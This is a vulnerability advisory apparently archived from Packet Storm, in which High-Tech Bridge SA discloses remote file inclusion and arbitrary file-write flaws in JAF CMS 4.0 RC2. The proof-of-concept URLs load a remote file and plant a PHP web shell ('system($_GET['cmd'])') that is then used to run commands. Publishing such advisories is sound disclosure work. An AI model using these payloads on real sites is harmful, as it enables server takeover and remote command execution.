JAF CMS 4.0 RC2 Remote File Inclusion / Command Execution

2010-11-05T00:00:00
ID PACKETSTORM:95513
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-11-05T00:00:00

Description

                                        
                                            `=====================================  
Vulnerability ID: HTB22666  
Reference: http://www.htbridge.ch/advisory/rfi_in_jaf_cms.html  
Product: JAF CMS  
Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ )   
Vulnerable Version: 4.0 RC2  
Vendor Notification: 21 October 2010   
Vulnerability Type: Remote File Inclusion  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/module/forum/main.php" & "/module/forum/forum.php" scripts to properly sanitize user-supplied input, it's possible to include any remote file if register_globals = On.  
  
The following PoC is available:  
  
  
http://[host]/module/forum/main.php?website=http://any_host/any_file%00  
http://[host]/module/forum/forum.php?website=http://any_host/any_file%00  
  
  
=====================================  
Vulnerability ID: HTB22665  
Reference: http://www.htbridge.ch/advisory/shell_create__command_execution_in_jaf_cms.html  
Product: JAF CMS  
Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ )   
Vulnerable Version: 4.0 RC2  
Vendor Notification: 21 October 2010   
Vulnerability Type: Shell create & command execution  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/module/log/vislog.php" script to properly sanitize user-supplied input, it's possible to create/read any file.  
  
The following PoC is available:  
  
creating shell:  
  
http://[host]/module/log/vislog.php?_SERVER[%27PHP_SELF%27]=1&from=%3c%3f+system(%24_GET%5b%27cmd%27%5d)%3b+%3f%3e&root=../../123.php%00  
  
  
command execute:  
  
http://[host]/123.php?cmd=ls   
  
  
`